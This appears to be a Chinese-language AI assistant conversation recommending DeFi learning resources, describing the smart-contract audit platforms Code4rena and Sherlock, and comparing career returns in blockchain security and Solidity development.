
深入理解DeFi 业务,有哪些书籍或者资料可以学习

深入理解DeFi业务,可选择体系化的书籍搭建知识框架,再借助权威线上文档、课程和行业报告补充实战与前沿内容。以下是分类型整理的优质学习资料,适配从入门到深入研究的不同需求:

专业书籍

  1. 《DeFi——开放金融:理论、范式和实践》
    这本书由经济学博士刘平等学者编写,内容覆盖极为全面,从分布式记账、去中心化网络等底层技术,到借贷、保险、交易所等DeFi核心应用场景均有涉及。它还专门分析了Uniswap、Compound等主流协议,同时探讨了DeFi的合规架构、治理结构和安全问题,适合想要系统掌握DeFi理论与实践结合的学习者,尤其适合作为深入研究的入门学术类读物。
  2. 《DeFi与金融的未来》
    作者包含坎贝尔·R·哈维等金融与DeFi领域专家,书籍分为7章,既剖析了传统金融体系的痛点以及DeFi的解决方案,也深入探讨了Uniswap、Compound等核心创新协议。它的优势在于打通了传统金融与DeFi的认知壁垒,适合有金融基础、想理解DeFi行业价值与未来趋势的读者。
  3. 《How to DeFi》系列(含入门版与高级版)
    这是CoinGecko团队编写的DeFi经典读物,入门版适合零基础用户快速了解DeFi基础应用,高级版则针对有基础的学习者,深入拆解DEX聚合器、去中心化衍生品、跨链桥等复杂模块,还分析了DeFi漏洞利用场景。其中文版可通过Gitbook在线阅读,内容贴合行业实操,能帮助读者快速对接真实DeFi业务场景。
  4. 《DeFi for Dummies》
    作为“傻瓜书”系列的一员,它以通俗易懂的语言梳理了DeFi的发展历程、核心应用和未来方向。书中涵盖资产管理、借贷、投资等DeFi关键领域,还介绍了在主流平台搭建基础DeFi应用的方法,适合传统金融从业者或新手快速入门,降低理解DeFi的门槛。

线上权威文档与报告

  1. 主流协议官方文档
    深入DeFi业务的核心是理解头部协议的运作逻辑,这些官方文档是最权威的资料:
    • Uniswap Docs:详细讲解AMM自动做市商机制、流动性池规则、手续费分配等核心业务,是理解DEX的关键资料;
    • Aave Docs:聚焦去中心化借贷的抵押机制、计息规则、清算流程等,可掌握DeFi借贷的核心业务逻辑;
    • MakerDAO Docs:围绕DAI稳定币的铸造、抵押品管理、去中心化治理等展开,能深入理解算法稳定币的业务原理。
  2. 行业报告与漏洞分析
    • 慢雾科技&派盾漏洞报告:两大区块链安全机构会定期发布DeFi漏洞分析报告,通过真实案例(如闪电贷攻击、合约权限漏洞等),反向推导DeFi业务流程中的风险点,帮助理解业务逻辑与安全的关联性;
    • DeFi Llama行业报告:作为DeFi锁仓量数据权威平台,其报告不仅包含数据统计,还会分析各赛道(如借贷、DEX、LSD)的业务创新和趋势,适合跟踪行业动态。

实战向线上课程

  1. Coursera《Decentralized Finance (DeFi) Primitives》
    由《DeFi与金融的未来》作者之一坎贝尔·R·哈维授课,属于“DeFi:金融的未来”专项课程的核心模块。课程深入讲解代币设计、去中心化交易所运作、闪电贷机制等核心业务,包含实操作业,适合想要通过案例和实践深化业务理解的学习者,课程支持多语言字幕,兼顾不同基础用户。
  2. CSDN DeFi面试题库
    这份资料虽为面试导向,但内容涵盖DEX、借贷、稳定币、闪电贷、DAO治理等核心业务模块,还包含“如何防范DeFi清算风险”“流动性池套利原理”等实操性问题。通过梳理题库,能快速掌握DeFi业务的核心考点与关键逻辑,适合巩固业务知识并对接实战场景。

Code4rena是什么

Code4rena(简称C4)是2021年成立的Web3领域社区驱动型智能合约审计平台,2024年8月被收购,凭借创新的竞争性审计模式颠覆了行业,成为众多头部加密货币项目信赖的安全审计解决方案提供商。以下是关于它的核心信息详细介绍:

  1. 核心运作模式
    • 角色分工明确:平台主要涉及三类核心角色,一是安全审计员(Wardens),即注册的安全研究人员,他们通过审计代码寻找漏洞来获取赏金,目前平台注册审计员已超10400名;二是项目发起方(Sponsors),也就是需要进行智能合约审计的加密项目,他们设立赏金池吸引审计员参与;三是评审员(Judges),负责判定漏洞的有效性、严重程度和报告质量,同时评估审计员的表现,保障审计结果的可靠性。
    • 竞争性审计流程:项目发起方提出审计需求后,平台会组织大量审计员开展竞争性审计。相比传统审计通常仅2名左右审计人员参与,C4每次审计平均能汇集上百名安全专家。审计结束后,评审员完成风险分类,最终向项目方出具包含漏洞详情、风险等级和修复建议的审计报告,后续还会提供漏洞修复审核等持续支持。
  2. 核心服务类型
    • 竞争性审计:这是其标志性服务,也是颠覆Web3审计行业的核心模式。通过数百名审计员竞争找漏洞的形式,挖掘代码中高严重级别的安全隐患,适配大多数普通项目的审计需求。
    • Zenith审计:专门组建业绩优异的顶尖审计团队,为项目提供深度安全分析,适合对安全级别要求极高的重点项目。
    • 漏洞修复审核:针对项目方完成漏洞修复后的成果,提供二次审核服务,确保修复方案有效落地,比如Hybra Finance的漏洞修复就曾在该平台进行多轮审核。
  3. 与传统审计和漏洞赏金计划的差异
    对比维度 Code4rena 传统审计 普通漏洞赏金计划
    人员规模 上百名审计员参与,视角多元 通常仅少数几名审计人员,能力范围有限 参与人数不确定,缺乏集中组织
    激励机制 赏金池明确,审计员有稳定收益预期 审计机构收取固定服务费用,审计人员无额外激励 无固定赏金保障,审计投入与回报不成正比
    灵活性 48小时内可启动审计,适配项目快速上线需求 流程固定,等待周期长 无统一启动和推进流程,效率参差不齐
  4. 行业成果与影响力:截至目前,Code4rena已完成488次审计,累计发现超1365个高危漏洞,各类漏洞相关发现达25152个。众多头部加密协议都选择其进行智能合约审计,其审计模式不仅提升了Web3领域智能合约的审计效率和深度,也为安全研究人员提供了积累实战经验、展现能力的核心平台。

Sherlock是什么

Sherlock 是2021年成立于以太坊链上的Web3领域智能合约全生命周期安全平台,凭借混合审计模式和创新的安全保障机制脱颖而出,还被TechBullion评为2026年最佳Web3智能合约审计公司,深受Aave、以太坊基金会等头部项目信赖。以下是其核心信息的详细介绍:

  1. 独特的混合审计模式
    这是Sherlock区别于多数审计平台的核心优势,它融合了传统专家审计与竞赛式审计的优点。一方面会指派业绩优异的资深安全专家主导项目审计,保障审计的专业性和深度;另一方面会发起审计竞赛,邀请全球数十名安全专家同台竞争找漏洞,借助众包力量挖掘常规审计易遗漏的问题。并且平台会依据过往审计竞赛、协作审计中的表现来动态组建审计团队,针对不同协议的风险特点匹配对应优势的审计人员,比固定团队审计覆盖更全面。此外,2025年9月它还推出了Sherlock AI审计工具,可贯穿开发全流程扫描代码提交和拉取请求,帮助开发人员提前发现漏洞,完善了其全生命周期安全保障体系。
  2. 多元化核心服务
    • 基础审计服务:包含传统定制审计和审计竞赛两种形式。传统审计中会出具详细的漏洞报告,审计竞赛则以赏金激励专家挖掘高危漏洞,像Optimism、Notional等项目都曾通过其审计竞赛发现代码中的特殊问题。
    • 财务保障与漏洞赏金:它是业内少有的为审计提供高额赔付保障的平台,若审计遗漏漏洞导致项目遭受攻击,最高可向协议方赔付200万美元。同时还能为项目搭配漏洞赏金计划,且设置了提交押金机制减少无效报告,再通过专家筛选确保仅向项目方传递关键漏洞信息。
    • 智能合约保障服务:与常规面向用户的安全保障不同,Sherlock的保障服务直接对接协议方,一旦协议出现漏洞损失,可覆盖所有用户的相关损失,无需用户单独操作,大幅降低了协议方的赔付压力和用户的风险成本。
  3. 清晰的角色与流程
    平台核心涉及三类角色,分别是提供智能合约的项目发起方、参与漏洞挖掘的安全审计专家以及监督赔付流程的第三方机构。流程上,项目方提出审计需求后,平台组建定制化审计团队并发起审计竞赛;审计结束后提交漏洞报告与修复建议;后续若出现遗漏漏洞引发的损失,由第三方机构监督保障金的赔付流程,确保公平公正。
  4. 行业影响力与优势
    其客户涵盖Aave、1inch、Morpho等众多头部DeFi协议和以太坊基金会等机构。相较于传统审计平台,它既解决了固定团队视角局限的问题,又通过财务赔付机制替代单纯的口碑背书,让平台与项目方的利益深度绑定。同时,因前期审计工作扎实,其提供的智能合约保障定价也更具竞争力,还能以低于多数机构单独审计的成本,为项目打包提供审计、百万级保障和高额赏金等一站式服务。

安全的投入产出比是不是太低了,不如solidity开发?

不能简单判定区块链安全领域的投入产出比低于Solidity开发,二者的投入产出逻辑、适用场景和长期价值差异显著。区块链安全的投入更偏向“风险防控”和“长期增值”,Solidity开发则侧重“快速落地”和“短期变现”,以下从多维度对比分析,帮你清晰理解二者的投入产出特点:

  1. 短期投入与变现速度
    • Solidity开发短期投入产出比更占优:Solidity学习曲线相对平缓,语法接近JavaScript,新手借助Remix、Hardhat等成熟工具,短期内就能开发基础合约并完成部署。变现路径也很直接,比如承接NFT铸造、简单DApp开发等外包项目,或入职初创团队做合约开发,国内初级Solidity开发月薪普遍在1万 - 2.5万,能快速实现技能变现。而且项目上线周期短,开发者可快速通过多接项目、迭代产品获得收益。
    • 区块链安全短期投入高、变现慢:想从事安全相关工作,除了懂Solidity,还得深入学习EVM底层、密码学、DeFi业务逻辑,以及Slither、Foundry等审计测试工具,甚至要研究大量历史漏洞案例。前期投入的学习成本远超基础Solidity开发。且初级安全岗位少,入门多依赖漏洞赏金平台(如Code4rena)提交报告积累口碑,初期可能投入大量时间却难有回报,短期投入产出比看似较低。
  2. 长期收益与收入天花板
    • Solidity开发收入存在瓶颈,竞争加剧易稀释收益:随着Solidity生态成熟,入门开发者越来越多,基础开发岗位竞争逐渐激烈。普通合约开发的薪资增长会随着技能同质化而放缓,若仅停留在“编写基础合约”层面,很难突破收入天花板。此外,项目迭代中还可能因代码漏洞面临返工,若因漏洞造成资产损失,还需承担相应责任,后期维护成本会逐步增加。
    • 区块链安全长期收益更高,增值空间大:安全是区块链的刚性需求,2025年智能合约漏洞导致的资产损失累计已超120亿美元,项目方对安全审计的付费意愿极强。简单合约审计费就达15万 - 30万元,复杂DeFi协议更是高达40万 - 80万元。从薪资看,国外中级区块链安全专家年薪达11万 - 15万美元,高级专家更是超15万美元;国内资深安全审计师薪资也远超同级Solidity开发,还能转型为安全顾问、安全总监,甚至创立审计公司。同时,安全专家的经验越丰富越吃香,随着行业发展,其技能价值会持续提升,不会因技术迭代快速贬值。
  3. 风险与投入容错率
    • Solidity开发风险传导快,容错成本高:Solidity合约一旦部署无法修改,若因代码漏洞(如重入攻击、权限失控)引发安全事故,开发者可能面临项目方索赔、行业口碑崩塌等问题。比如某团队因忽略整数溢出问题,导致合约被攻击,不仅项目搁置,开发者也很长时间难以接到新订单,这种隐性风险会间接降低实际投入产出比。
    • 区块链安全以“控风险”为核心,容错率相对高:安全工作的核心是提前排查漏洞,即便初期漏检小漏洞,也可通过后续复盘优化提升能力。而且随着经验积累,漏洞判断准确率会越来越高,失误率会持续降低。此外,安全领域的个人口碑是“正向积累”的,一旦在漏洞赏金平台挖出重大漏洞,或为知名项目完成审计,会快速获得行业认可,后续合作和变现会更顺畅。
  4. 变现模式的多样性
    • Solidity开发变现模式较单一:主要依赖全职岗位薪资、外包项目,或参与项目获得代币激励,变现渠道集中在“代码产出”相关领域。虽然也能通过开发工具、课程变现,但门槛较高,多数开发者难以触及。
    • 区块链安全变现模式更丰富:除了全职审计、安全岗位薪资,还能通过漏洞赏金平台赚奖金、为项目提供专项安全咨询、开发安全工具(如漏洞检测插件)、开设安全课程等方式变现。比如资深安全研究员开发的审计工具可对外售卖,安全课程也能持续产生收益,多种变现渠道能进一步提升长期投入产出比。

综上,若追求快速变现,Solidity开发是更优选择;但从长期来看,区块链安全的投入产出比并不低,且随着行业对安全需求的持续增长,其不可替代性和增值空间会远超基础Solidity开发。若你已有渗透测试背景,转型区块链安全,前期积累的对抗性思维还能成为核心优势,长期来看性价比更高。